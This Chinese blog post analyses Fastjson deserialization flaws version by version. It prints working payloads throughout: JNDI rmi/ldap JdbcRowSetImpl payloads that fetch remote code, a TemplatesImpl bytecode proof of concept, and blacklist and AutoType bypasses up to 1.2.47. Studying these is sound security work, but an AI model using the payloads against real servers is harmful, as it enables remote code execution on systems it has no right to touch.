Fastjson各个版本反序列化漏洞分析

Fastjson反序列化漏洞分析

这篇文章,基本是对着先知社区上的文章,再加上自己的一小部分理解复现出来的。

前置知识:Java基础、反射、泛型、Java Bean等。。

fastjson简介

fastjson是Alibaba开发的一个json序列化/反序列化的一个java库,官方说的是全世界最快的json解析库。在国内得到了广泛的使用。

项目地址

反序列化漏洞基本的原理

payload

先看一下有哪些版本存在漏洞, 先给一下payload

各版本fastjson下载地址

// payload 1
{
   "rand1": {
     "@type": "java.lang.Class",
     "val": "com.sun.rowset.JdbcRowSetImpl"
  },
   "rand2": {
     "@type": "com.sun.rowset.JdbcRowSetImpl",
     "dataSourceName": "rmi://127.0.0.1:1099/aaa",
     "autoCommit": true
  }
}
// payload 2
{
   "rand3": {
     "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
     "dataSourceName": "rmi://127.0.0.1:1099/aaa",
     "autoCommit": true
  }
}

其中 payload1 是”通杀“ payload,payload2 是 1.2.24 ~ 1.2.41 在启用 AutoType 时可用的 payload,这两个结合就覆盖了所有的 case。

几个关键的函数

  • public static Object parse(@Nullable String text)
  • public static <T> T parseObject(@Nullable String text,Class <T> clazz)
  • public static String toJSONString(@Nullable Object object

简单的序列化与反序列化

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Fastjson1224Test {
   public static void main(String[] args) {
       Student s = new Student();
       s.setName("name1");
       s.setAge(12);
       System.out.println(JSON.toJSONString(s));
       // 上面的会输出{"age":12,"name":"name1"}
  }
}
class Student {
   private String name;
   private int age;
// Getter && Setter && Constructor
}

注意一下JSON.toJsonString(s)输出的是{"age":12,"name":"name1"}

如果后面再加一个参数

JSON.toJSONString(s, SerializerFeature.WriteClassName)

输出的就变成了

{"@type":"Student","age":12,"name":"name1"}

这个@type就是我们这个反序列化漏洞的关键点

@type

我们来反序列化一下对象:

JSON.parse / JSON.parseObject

System.out.println(JSON.parse("{\"age\":12,\"name\":\"name1\"}").getClass().toString());
System.out.println(JSON.parse("{\"@type\":\"Student\",\"age\":12,\"name\":\"name1\"}").getClass().toString());

/*输出为:
class com.alibaba.fastjson.JSONObject
调用构造函数
调用setAge
调用setName
class Student

可见,如果不指定type反序列化对象的话,会得到一个com.alibaba.fastjson.JSONObject对象,指定了Student类的话,就会根据指定的对象来反序列化

还有一点需要注意的是,观察一下反序列化的过程,指定@type的话,是会自动调用对应类型的构造方法setter的,这一点也是漏洞核心利用的点。

  • com.alibaba.fastjson.JSONObject不能强制转换为其他类型
  • 不指定@type不会调用构造方法setter
  • 指定@type时,parse只会调用构造方法setter,而parseObject会额外调用getter
  • 跟进parseObject()可以看到和parse的区别:public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

简而言之,fastjson反序列化漏洞就是,Fastjson存在autoType机制,当用户指定@type时,存在调用恶意setter/getter的情况。

parse过程debug

在Setter里面写一下恶意代码

public void setName(String name) throws IOException {
   System.out.println("setName");
   this.name = name;
   Runtime.getRuntime().exec("calc.exe");
}

开始debug,省略最前面的两步

第1步

JSON.class

public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}

环境变量

text = "{"@type":"Student","age":12,"name":"name1"}"
DEFAULT_PARSER_FEATURE = 989

第2步

public static Object parse(String text, int features) {
   if (text == null) {
       return null;
  } else {
       // 第3步
       DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
       // 第4步
       Object value = parser.parse();
       parser.handleResovleTask(value);
       parser.close();
       return value;
  }
}

环境变量

text = "{"@type":"Student","age":12,"name":"name1"}"
features = 989

第3步

初始化parser

public DefaultJSONParser(String input, ParserConfig config, int features) {
   this(input, new JSONScanner(input, features), config);
}
// step
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
   // 初始化一些配置,最重要的关注denyList
   // 设置lexer.Token的值,用于处理不同类型的数据,如{},[]
   // 此处我们的lexer.Token是12
}

环境变量

denyList = ["java.lang.Threa...", "java.lang.Threa..."]

第4步

public Object parse() {
   return this.parse((Object)null);
}

环境变量

this 指的是之前的(DefaultJSONParser parser)

第5步

public Object parse(Object fieldName) {
       JSONLexer lexer = this.lexer;
       switch(lexer.token()) {
       case 12:
               // 初始化JSONObject
           JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
               //第6步
           return this.parseObject((Map)object, fieldName);
       otherCase..
      }
  }

第6步

这一步有点长,一直到第318行都是在找到”Student”类。

public final Object parseObject(Map object, Object fieldName) {
xxx
   // 第7步
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
   // 最后进入的调试代码
   thisObj = deserializer.deserialze(this, clazz, fieldName);
   return thisObj;
}

环境变量

key = "@type"
typeName = "Student"
clazz = {Class@724}"Class Student"

第7步

public ObjectDeserializer getDeserializer(Type type) {
   ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
   if (derializer != null) {
       return derializer;
  } else if (type instanceof Class) {
       // 第8步
       return this.getDeserializer((Class)type, type);
  } else if (type instanceof ParameterizedType) {
       Type rawType = ((ParameterizedType)type).getRawType();
       return rawType instanceof Class ? this.getDeserializer((Class)rawType, type) : this.getDeserializer(rawType);
  } else {
       return JavaObjectDeserializer.instance;
  }
}

第8步

for(int i = 0; i < this.denyList.length; ++i) {
   String deny = this.denyList[i];
   if (className.startsWith(deny)) {
       throw new JSONException("parser deny : " + className);
  }
}

环境变量

denyList = ["java.lang.Threa...", "java.lang.Threa..."]

再后面就到了第7步里面,直接继续往下调试即可,最后调用了set和get里面的方法。

核心调用Setter/Getter的代码com\alibaba\fastjson\parser\deserializer\FieldDeserializer.class的第89行method.invoke(object, value);,再接下来跟进就是Setter了

1.2.24经典的2条链

刚刚知道了漏洞原理以及利用方式

我们可以进行一次简单的DNSlog查询验证漏洞的存在

各种DNSlog验证

JSON.parse("{\"@type\":\"java.net.InetAddress\",\"val\":\"7ua6ad.dnslog.cn\"}");

那么有什么好的类可以让我们达到RCE的效果呢,在1.2.22-1.2.24中可以利用JdbcRowSetImpl和Templateslmpl

在此之前,说一下rmi、ldap的利用,很复杂的知识,内容太多了,后面再学习。

  1. 简单的ldap和rmi可以用这个工具JNDI-Injection-Exploit v1.0
  2. 更多的ldap链,用这个工具比较方便JNDIExploit v1.2
  3. 后面遇到了java版本的问题,手动搭建rmi调试了半天才成功。

JdbcRowSetImpl

poc

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 127.0.0.1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/xymncb", "autoCommit":true}

踩坑

  • fastjson端java版本问题:
    • RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
    • LADP利用JDK版本≤ 6u211 、7u201、8u191

Debug

最前面的parse过程已经分析过了,后面的可以跟着这篇文章走一下

Templateslmpl

这个是另一条链,不想写详细的复现了,直接上POC

POC.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

   public TEMPOC() throws IOException {
       Runtime.getRuntime().exec("calc.exe");
  }

   @Override
   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
  }

   @Override
   public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

  }

   public static void main(String[] args) throws Exception {
       TEMPOC t = new TEMPOC();
  }
}

编译成POC.class,然后用python base64一下

import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc

最后反序列化POC

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEABlRFTVBPQwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAALAAQADAANAA0ADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAARAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAWAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAAZAAgAGgAMAAAABAABABQAAQAVAAAAAgAW"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

1.2.25补丁(开启ast)

更新1.2.25后加上了补丁,将TypeUtils.loadClass替换为了checkAutoType()函数,并且使用黑白名单验证方式。实际上是没什么卵用的。

fastjson 在1.2.42开始,把原本明文的黑名单改成了哈希过的黑名单,防止安全研究者对其进行研究。然并卵,hash依然可以对应出明文。黑白名单列表

debug一下看看调用栈是跟之前不一样的,在注意一下右下角的denyList比之前多了很多类。

1225debug

黑白名单判断逻辑也很容易debug出来:默认情况不开启autoTypeSupport(ats)。在ats为false的情况下先检查黑名单,再检查白名单,通过验证加载类。开启ats直接加载类。

if (!this.autoTypeSupport) {
   String accept;
   int i;
   for(i = 0; i < this.denyList.length; ++i) {
       accept = this.denyList[i];
       if (className.startsWith(accept)) {
           throw new JSONException("autoType is not support. " + typeName);
      }
  }

   for(i = 0; i < this.acceptList.length; ++i) {
       accept = this.acceptList[i];
       if (className.startsWith(accept)) {
           clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
           if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
               throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
          }

           return clazz;
      }
  }
}

if (this.autoTypeSupport || expectClass != null) {
   clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
   if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
       throw new JSONException("autoType is not support. " + typeName);
  }

   if (expectClass != null) {
       if (expectClass.isAssignableFrom(clazz)) {
           return clazz;
      }

       throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
  }
}

if (!this.autoTypeSupport) {
   throw new JSONException("autoType is not support. " + typeName);
} else {
   return clazz;
}

我们可以先把ats设置成true后debug一下后面的过程,只需要在反序列化之前加上一句代码即可:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

如果我们选择反序列化com.sun.rowset.JdbcRowSetImpl那肯定会被黑名单中的com.sun拦截掉。继续看看loadClass()后的代码,可以很清楚的看到这两个判断语句的递归调用是能够pass掉之前的黑名单判断的:

写这两句话的原因问了大佬说是跟兼容字节码有关

loadClass

所以当ats设置为true的时候,我们有了以下bypass黑名单的payload

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://127.0.0.1:1099/s4jb8f", "autoCommit":true}

按理来说第一个if语句也能达到bypass的效果,可以试一下,在类名前面加一个[符号,运行可以看到报错信息:

error1

意思是第42个字符应该要是[,加上即可。运行又看到了报错:

error1

提示我们在第43个字符的位置加上{,加上后顺利打通!

succ1

payload

"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://172.23.26.66:1099/s4jb8f\", \"autoCommit\":true}"

1.2.43补丁(开启ast)

1.2.43在之前的基础上ban掉了双L开头的类

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    if (typeName == null) {
        return null;
    } else if (typeName.length() < 128 && typeName.length() >= 3) {
        String className = typeName.replace('$', '.');
        Class<?> clazz = null;
        long BASIC = -3750763034362895579L;
        long PRIME = 1099511628211L;
        if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                throw new JSONException("autoType is not support. " + typeName);
            }

实际上我们刚刚上面分析的一种情况就可以绕过这个漏洞了

"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://172.23.26.66:1099/s4jb8f\", \"autoCommit\":true}"

1.2.45补丁(开启ast)

这个版本的补丁针对第一个出现[进行检查,第一个出现[直接抛出异常。

当目标服务端出现mybatis.jar时,可以绕过黑名单检查,payload:

mybatis版本:3.0.0-3.5.0

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}

绕过ast通杀1.2.25-47

漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测

这里有两个版本段:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

poc:

{
   "a":{
       "@type":"java.lang.Class",
       "val":"com.sun.rowset.JdbcRowSetImpl"
  },
   "b":{
       "@type":"com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName":"ldap://localhost:1389/badNameClass",
       "autoCommit":true
  }
}

不想debug了,建议自己手动debug验证一下bypass的过程,也可以阅读一下文末的参考文章。

最后,在1.2.48,被打上了补丁。补丁内容是在loadClass时,将缓存开关默认设置为False,所以就不会通过缓存的判断。同时将Class类加入了黑名单。

未来……

我们看了这么多版本的fastjson,也能看出fastjson反序列化漏洞就是不停的修修补补,绕过,补上,又绕过,又补上。也体现出来了红蓝对抗的思想。实际上在2021年hvv期间也爆出了疑似fastjson的0day(有视频验证),所以,踏上挖掘漏洞的道路吧,说不定下一个CVE编号就是你的。

参考文章

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇